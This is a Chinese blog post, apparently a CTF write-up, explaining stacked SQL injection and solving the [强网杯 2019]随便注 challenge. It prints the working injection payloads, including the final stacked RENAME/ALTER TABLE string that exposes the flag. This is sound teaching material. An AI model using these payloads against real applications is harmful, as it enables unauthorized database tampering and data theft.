sql-堆叠注入

前几星期写题时遇见了好几道关于堆叠注入的题目,结果发现我对堆叠注入不是特别了解,所以写一下博客记录一下,但是发现堆叠注入使用的场景和条件好像有点苛刻。

目录

堆叠注入原理

堆叠注入触发条件

实例

[强网杯 2019]随便注


堆叠注入原理

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如

 select * from users;show databases; 

就同时执行以上两条命令,所以我们可以增删改查,只要权限够。
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

堆叠注入触发条件

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,例如php中的mysqli_multi_query函数。但与之相对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是

1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句

实例

[强网杯 2019]随便注

输入1,页面返回正常;
输入1’ 页面报错了,加上注释符号#页面又回显正常,那么闭合符号就是单引号

然后进行正常的操作。

判断列数:

1' order by 2#   //回显正常
1' order by 3#   //回显报错

 

 联合查询:

1' union select 1,2#

发现过滤了很多函数。

尝试堆叠注入:

1'; show databases;#

 

查表名:

1'; show tables;#

 

查询这两个表名中的列:

注意:这里查询表名使用反单引号,在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符。

-1'; show columns from 'words';#
-1'; show columns from `1919810931114514`;#

 在表1919810931114514中发现flag

 虽然我们已经找到了flag了,但是select被过滤了,而show命令又不能查看值。这就比较头疼了,不过如果仔细观察的话,一开始过滤的并没有alert 和 rename,我们已经知道了words是用来回显内容的,所以思路就是:我们把1919810931114514这个表更改名字为words,并增加相应的字段,使之回显原1919810931114514这个表的内容里面。

  1. 将words的表名改成其它名字
  2. 将1919810931114514表名改成"words"
  3. 将flag列名改成id或者data
  4. 在将这个新的words表插入一个列,即id或者data

这里就要考验到我们对sql数据库的增删查改的能力了,当然我也不会,所以去网上搜一下。 

rename: 修改名字
使用方法:rename table(修改的类型) tableA(待修改的表等) to tableB(重命名后的名字)
alter:队列进行操作
使用方法:alter table table[表名] add column[列名] type[数据类型] //(添加列)
		alter table table[表名] change columnA[原列名] column[修改后列名] type[数据类型] //改变列名1
		alter table table[表名] rename columnA[原列名] column[修改后列名]  //改变列名2,(不改变数据类型)
		alter table table[表名] alter column column[列名] type[修改后的数据类型] //修改列的数据类型
		alter table table[表名] drop column[列名] type[数据类型]  //删除表中的某一列
		SQL限制条件:
        alter table table[表名] modify column[列名] int not null  //是某一列不能存储null的字段
        alter table table[表名] modify column[列名] int null     //解除对not null的限制
        alter table table[表名] add column[列名] primary key (id) 
        //- NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。
        alter table table[表名] add unique (id);
        //增加unique约束。保证某列的每行必须有唯一的值。(注:可以有多个 UNIQUE 约束,只能有一个 PRIMARY KEY 约束)
        alter table table[表名] add check (限制条件); //限制列的值得范围
        alter table table[表名] alter column[列名] set default '默认值' //设置默认值,即未给列赋值时的默认值
		alter table table[表名] add constraint ab_c default '默认值' for column[列名] //
		alter table table[表名] add column[列名] auto_increment    //自动赋值,默认从1开始
		alter table table[表名] add column[列名] foreign key //保证一个表中的数据匹配另一个表中的值的参照完整性

构造出payload如下:

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#
  • rename table words to word1; //将words表名更改为word1
  • rename table1919810931114514to words;//将1919810931114514表名改为words
  • alter table words change flag id varchar(100); //将words表中的flag列改成数据类型为char(100)名字为data的新列

 

 

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值